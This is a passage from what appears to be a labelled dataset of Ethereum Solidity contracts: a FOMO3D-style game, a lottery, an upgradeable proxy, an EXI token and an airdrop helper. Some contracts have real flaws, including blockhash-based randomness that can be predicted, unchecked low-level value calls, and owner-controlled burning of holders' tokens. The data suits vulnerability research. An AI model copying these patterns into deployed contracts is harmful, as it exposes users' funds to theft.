uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function managePlayer(uint256 _pID, BATMODatasets.EventReturns memory _eventData_)
private
returns (BATMODatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(BATMODatasets.EventReturns memory _eventData_)
private
returns (BATMODatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _dev = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _OBOK = (_pot.mul(potSplit_[_winTID].obok)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_dev)).sub(_gen)).sub(_OBOK);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
admin.transfer(_dev / 2);
admin2.transfer(_dev / 2);
address(ObokContract).call.value(_OBOK.sub((_OBOK / 3).mul(2)))(bytes4(keccak256("donateDivs()")));
round_[_rID].pot = _pot.add(_OBOK / 3);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.tokenAmount = _OBOK;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot += _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, BATMODatasets.EventReturns memory _eventData_)
private
returns(BATMODatasets.EventReturns)
{
uint256 _p1 = _eth / 100;
uint256 _dev = _eth / 50;
_dev = _dev.add(_p1);
uint256 _OBOK;
if (!address(admin).call.value(_dev/2)() && !address(admin2).call.value(_dev/2)())
{
_OBOK = _dev;
_dev = 0;
}
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit FOMOEvents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_OBOK = _aff;
}
_OBOK = _OBOK.add((_eth.mul(fees_[_team].obok)) / (100));
if (_OBOK > 0)
{
uint256 _potAmount = _OBOK / 2;
address(ObokContract).call.value(_OBOK.sub(_potAmount))(bytes4(keccak256("donateDivs()")));
round_[_rID].pot = round_[_rID].pot.add(_potAmount);
_eventData_.tokenAmount = _OBOK.add(_eventData_.tokenAmount);
}
return(_eventData_);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, BATMODatasets.EventReturns memory _eventData_)
private
returns(BATMODatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].obok)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, BATMODatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit FOMOEvents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.tokenAmount,
_eventData_.genAmount,
_eventData_.potAmount
);
}
bool public activated_ = false;
function activate()
public
{
require(msg.sender == admin, "only admin can activate");
require(activated_ == false, "FOMO Short already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library BATMODatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 tokenAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 obok;
}
struct PotSplit {
uint256 gen;
uint256 obok;
}
}
library KeysCalc {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
contract OBOK
{
function donateDivs() public payable;
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0);
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20);
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78);
require(_temp[1] != 0x58);
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a));
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20);
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true);
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 780 |
pragma solidity ^0.4.24;
library DataSet {
enum RoundState {
UNKNOWN,
STARTED,
STOPPED,
DRAWN,
ASSIGNED
}
struct Round {
uint256 count;
uint256 timestamp;
uint256 blockNumber;
uint256 drawBlockNumber;
RoundState state;
uint256 pond;
uint256 winningNumber;
address winner;
}
}
library NumberCompressor {
uint256 constant private MASK = 16777215;
function encode(uint256 _begin, uint256 _end, uint256 _ceiling) internal pure returns (uint256)
{
require(_begin <= _end && _end < _ceiling, "number is invalid");
return _begin << 24 | _end;
}
function decode(uint256 _value) internal pure returns (uint256, uint256)
{
uint256 end = _value & MASK;
uint256 begin = (_value >> 24) & MASK;
return (begin, end);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
function min(uint x, uint y) internal pure returns (uint z) {
return x <= y ? x : y;
}
function max(uint x, uint y) internal pure returns (uint z) {
return x >= y ? x : y;
}
}
contract Events {
event onActivate
(
address indexed addr,
uint256 timestamp,
uint256 bonus,
uint256 issued_numbers
);
event onDraw
(
uint256 timestatmp,
uint256 blockNumber,
uint256 roundID,
uint256 winningNumber
);
event onStartRunnd
(
uint256 timestamp,
uint256 roundID
);
event onBet
(
address indexed addr,
uint256 timestamp,
uint256 roundID,
uint256 beginNumber,
uint256 endNumber
);
event onAssign
(
address indexed operatorAddr,
uint256 timestatmp,
address indexed winnerAddr,
uint256 roundID,
uint256 pond,
uint256 bonus,
uint256 fund
);
event onRefund
(
address indexed operatorAddr,
uint256 timestamp,
address indexed playerAddr,
uint256 count,
uint256 amount
);
event onLastRefund
(
address indexed operatorAddr,
uint256 timestamp,
address indexed platformAddr,
uint256 amout
);
}
contract Winner is Events {
using SafeMath for *;
uint256 constant private MIN_BET = 0.01 ether;
uint256 constant private PRICE = 0.01 ether;
uint256 constant private MAX_DURATION = 30 days;
uint256 constant private REFUND_RATE = 90;
address constant private platform = 0x1f79bfeCe98447ac5466Fd9b8F71673c780566Df;
uint256 private curRoundID;
uint256 private drawnRoundID;
uint256 private drawnBlockNumber;
uint256 private bonus;
uint256 private issued_numbers;
bool private initialized;
mapping (uint256 => DataSet.Round) private rounds;
mapping (uint256 => mapping(address => uint256[])) private playerNumbers;
mapping (address => bool) private administrators;
constructor() public {
}
modifier isAdmin() {
require(administrators[msg.sender], "only administrators");
_;
}
modifier isInitialized () {
require(initialized == true, "game is inactive");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry, humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= MIN_BET, "the bet is too small");
require(_eth <= PRICE.mul(issued_numbers).mul(2), "the bet is too big");
_;
}
function() public payable isHuman() isInitialized() isWithinLimits(msg.value)
{
bet(msg.value);
}
function initiate(uint256 _bonus, uint256 _issued_numbers) public isHuman()
{
require(initialized == false, "it has been initialized already");
require(_bonus > 0, "bonus is invalid");
require(_issued_numbers > 0, "issued_numbers is invalid");
initialized = true;
administrators[msg.sender] = true;
bonus = _bonus;
issued_numbers = _issued_numbers;
emit onActivate(msg.sender, block.timestamp, bonus, issued_numbers);
curRoundID = 1;
rounds[curRoundID].state = DataSet.RoundState.STARTED;
rounds[curRoundID].timestamp = block.timestamp;
drawnRoundID = 0;
emit onStartRunnd(block.timestamp, curRoundID);
}
function drawNumber() private view returns(uint256) {
return uint256(keccak256(abi.encodePacked(
((uint256(keccak256(abi.encodePacked(block.blockhash(block.number))))) / (block.timestamp)).add
((uint256(keccak256(abi.encodePacked(block.blockhash(block.number - 1))))) / (block.timestamp)).add
((uint256(keccak256(abi.encodePacked(block.blockhash(block.number - 2))))) / (block.timestamp)).add
((uint256(keccak256(abi.encodePacked(block.blockhash(block.number - 3))))) / (block.timestamp)).add
((uint256(keccak256(abi.encodePacked(block.blockhash(block.number - 4))))) / (block.timestamp)).add
((uint256(keccak256(abi.encodePacked(block.blockhash(block.number - 5))))) / (block.timestamp)).add
((uint256(keccak256(abi.encodePacked(block.blockhash(block.number - 6))))) / (block.timestamp))
))) % issued_numbers;
}
function bet(uint256 _amount) private
{
if (block.number != drawnBlockNumber
&& curRoundID > drawnRoundID
&& rounds[drawnRoundID + 1].count == issued_numbers
&& block.number >= rounds[drawnRoundID + 1].blockNumber + 7)
{
drawnBlockNumber = block.number;
drawnRoundID += 1;
rounds[drawnRoundID].winningNumber = drawNumber();
rounds[drawnRoundID].state = DataSet.RoundState.DRAWN;
rounds[drawnRoundID].drawBlockNumber = drawnBlockNumber;
emit onDraw(block.timestamp, drawnBlockNumber, drawnRoundID, rounds[drawnRoundID].winningNumber);
}
uint256 amount = _amount;
while (true)
{
uint256 max = issued_numbers - rounds[curRoundID].count;
uint256 available = amount.div(PRICE).min(max);
if (available == 0)
{
if (amount != 0)
{
rounds[curRoundID].pond += amount;
}
break;
}
uint256[] storage numbers = playerNumbers[curRoundID][msg.sender];
uint256 begin = rounds[curRoundID].count;
uint256 end = begin + available - 1;
uint256 compressedNumber = NumberCompressor.encode(begin, end, issued_numbers);
numbers.push(compressedNumber);
rounds[curRoundID].pond += available.mul(PRICE);
rounds[curRoundID].count += available;
amount -= available.mul(PRICE);
emit onBet(msg.sender, block.timestamp, curRoundID, begin, end);
if (rounds[curRoundID].count == issued_numbers)
{
rounds[curRoundID].blockNumber = block.number;
rounds[curRoundID].state = DataSet.RoundState.STOPPED;
curRoundID += 1;
rounds[curRoundID].state = DataSet.RoundState.STARTED;
rounds[curRoundID].timestamp = block.timestamp;
emit onStartRunnd(block.timestamp, curRoundID);
}
}
}
function assign(uint256 _roundID) external isHuman() isInitialized()
{
assign2(msg.sender, _roundID);
}
function assign2(address _player, uint256 _roundID) public isHuman() isInitialized()
{
require(rounds[_roundID].state == DataSet.RoundState.DRAWN, "it's not time for assigning");
uint256[] memory numbers = playerNumbers[_roundID][_player];
require(numbers.length > 0, "player did not involve in");
uint256 targetNumber = rounds[_roundID].winningNumber;
for (uint256 i = 0; i < numbers.length; i ++)
{
(uint256 start, uint256 end) = NumberCompressor.decode(numbers[i]);
if (targetNumber >= start && targetNumber <= end)
{
uint256 fund = rounds[_roundID].pond.sub(bonus);
_player.transfer(bonus);
platform.transfer(fund);
rounds[_roundID].state = DataSet.RoundState.ASSIGNED;
rounds[_roundID].winner = _player;
emit onAssign(msg.sender, block.timestamp, _player, _roundID, rounds[_roundID].pond, bonus, fund);
break;
}
}
}
function refund() external isHuman() isInitialized()
{
refund2(msg.sender);
}
function refund2(address _player) public isInitialized() isHuman()
{
require(block.timestamp.sub(rounds[curRoundID].timestamp) >= MAX_DURATION, "it's not time for refunding");
uint256[] storage numbers = playerNumbers[curRoundID][_player];
require(numbers.length > 0, "player did not involve in");
uint256 count = 0;
for (uint256 i = 0; i < numbers.length; i ++)
{
(uint256 begin, uint256 end) = NumberCompressor.decode(numbers[i]);
count += (end - begin + 1);
}
uint256 amount = count.mul(PRICE).mul(REFUND_RATE).div(100);
rounds[curRoundID].pond = rounds[curRoundID].pond.sub(amount);
_player.transfer(amount);
emit onRefund(msg.sender, block.timestamp, _player, count, amount);
rounds[curRoundID].count -= count;
if (rounds[curRoundID].count == 0)
{
uint256 last = rounds[curRoundID].pond;
platform.transfer(last);
rounds[curRoundID].pond = 0;
emit onLastRefund(msg.sender, block.timestamp, platform, last);
}
}
function getPlayerRoundNumbers(uint256 _roundID, address _palyer) public view returns(uint256[])
{
return playerNumbers[_roundID][_palyer];
}
function getRoundInfo(uint256 _roundID) public view
returns(uint256, uint256, uint256, uint256, uint256, uint256, address)
{
return (
rounds[_roundID].count,
rounds[_roundID].blockNumber,
rounds[_roundID].drawBlockNumber,
uint256(rounds[_roundID].state),
rounds[_roundID].pond,
rounds[_roundID].winningNumber,
rounds[_roundID].winner
);
}
function gameInfo() public view
returns(bool, uint256, uint256, uint256, uint256)
{
return (
initialized,
bonus,
issued_numbers,
curRoundID,
drawnRoundID
);
}
}
contract Proxy {
function implementation() public view returns (address);
function () public payable {
address _impl = implementation();
require(_impl != address(0), "address invalid");
assembly {
let ptr := mload(0x40)
calldatacopy(ptr, 0, calldatasize)
let result := delegatecall(gas, _impl, ptr, calldatasize, 0, 0)
let size := returndatasize
returndatacopy(ptr, 0, size)
switch result
case 0 { revert(ptr, size) }
default { return(ptr, size) }
}
}
}
contract UpgradeabilityProxy is Proxy {
event Upgraded(address indexed implementation);
bytes32 private constant implementationPosition = keccak256("you are the lucky man.proxy");
constructor() public {}
function implementation() public view returns (address impl) {
bytes32 position = implementationPosition;
assembly {
impl := sload(position)
}
}
function setImplementation(address newImplementation) internal {
bytes32 position = implementationPosition;
assembly {
sstore(position, newImplementation)
}
}
function _upgradeTo(address newImplementation) internal {
address currentImplementation = implementation();
require(currentImplementation != newImplementation, "new address is the same");
setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
}
contract OwnedUpgradeabilityProxy is UpgradeabilityProxy {
event ProxyOwnershipTransferred(address previousOwner, address newOwner);
bytes32 private constant proxyOwnerPosition = keccak256("you are the lucky man.proxy.owner");
constructor() public {
setUpgradeabilityOwner(msg.sender);
}
modifier onlyProxyOwner() {
require(msg.sender == proxyOwner(), "owner only");
_;
}
function proxyOwner() public view returns (address owner) {
bytes32 position = proxyOwnerPosition;
assembly {
owner := sload(position)
}
}
function setUpgradeabilityOwner(address newProxyOwner) internal {
bytes32 position = proxyOwnerPosition;
assembly {
sstore(position, newProxyOwner)
}
}
function transferProxyOwnership(address newOwner) public onlyProxyOwner {
require(newOwner != address(0), "address is invalid");
emit ProxyOwnershipTransferred(proxyOwner(), newOwner);
setUpgradeabilityOwner(newOwner);
}
function upgradeTo(address implementation) public onlyProxyOwner {
_upgradeTo(implementation);
}
function upgradeToAndCall(address implementation, bytes data) public payable onlyProxyOwner {
upgradeTo(implementation);
require(address(this).call.value(msg.value)(data), "data is invalid");
}
} | 1 | 4,351 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract AltcoinToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract EXI is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public blacklist;
string public constant name = "EXInteractive";
string public constant symbol = "EXI";
uint public constant decimals = 18;
uint256 public totalSupply = 50000000000e18;
uint256 public tokenPerETH = 500000000e18;
uint256 public valueToGive = 300000e18;
uint256 public totalDistributed = 0;
uint256 public totalRemaining = totalSupply.sub(totalDistributed);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Distr(address indexed to, uint256 amount);
event DistrFinished();
event Burn(address indexed burner, uint256 value);
bool public distributionFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
constructor() public {
owner = msg.sender;
uint256 teamtoken = 25000000000e18;
distr(owner, teamtoken);
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
emit DistrFinished();
return true;
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
totalDistributed = totalDistributed.add(_amount);
totalRemaining = totalRemaining.sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Distr(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function () external payable {
address investor = msg.sender;
uint256 invest = msg.value;
if(invest == 0){
require(valueToGive <= totalRemaining);
require(blacklist[investor] == false);
uint256 toGive = valueToGive;
distr(investor, toGive);
blacklist[investor] = true;
valueToGive = valueToGive.div(1000000).mul(999999);
}
if(invest > 0){
buyToken(investor, invest);
}
}
function buyToken(address _investor, uint256 _invest) canDistr public {
uint256 toGive = tokenPerETH.mul(_invest) / 1 ether;
uint256 bonus = 0;
if(_invest >= 1 ether/100 && _invest < 1 ether/10){
bonus = toGive*10/100;
}
if(_invest >= 1 ether/10 && _invest < 1 ether){
bonus = toGive*20/100;
}
if(_invest >= 1 ether){
bonus = toGive*30/100;
}
toGive = toGive.add(bonus);
require(toGive <= totalRemaining);
distr(_investor, toGive);
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
AltcoinToken t = AltcoinToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdraw() onlyOwner public {
address myAddress = this;
uint256 etherBalance = myAddress.balance;
owner.transfer(etherBalance);
}
function withdrawAltcoinTokens(address _tokenContract) onlyOwner public returns (bool) {
AltcoinToken token = AltcoinToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
totalDistributed = totalDistributed.sub(_value);
emit Burn(burner, _value);
}
function burnFrom(uint256 _value, address _burner) onlyOwner public {
require(_value <= balances[_burner]);
balances[_burner] = balances[_burner].sub(_value);
totalSupply = totalSupply.sub(_value);
totalDistributed = totalDistributed.sub(_value);
emit Burn(_burner, _value);
}
} | 1 | 3,478 |
pragma solidity >=0.7.0 <0.9.0;
contract RegiCaster {
address public boss;
constructor() public {
boss=msg.sender;
}
function airdrop(address[] memory addresses, uint256 amount, address ercContract) public returns (bool){
require(msg.sender==boss);
for (uint i=0; i < addresses.length; i++){
bytes memory payload = abi.encodeWithSignature("transfer(address,uint256)",addresses[i],amount);
ercContract.call(payload);
}
return true;
}
function transferOwner(address newOwner) public returns (bool) {
require(msg.sender==boss);
boss=newOwner;
return true;
}
} | 0 | 1,511 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
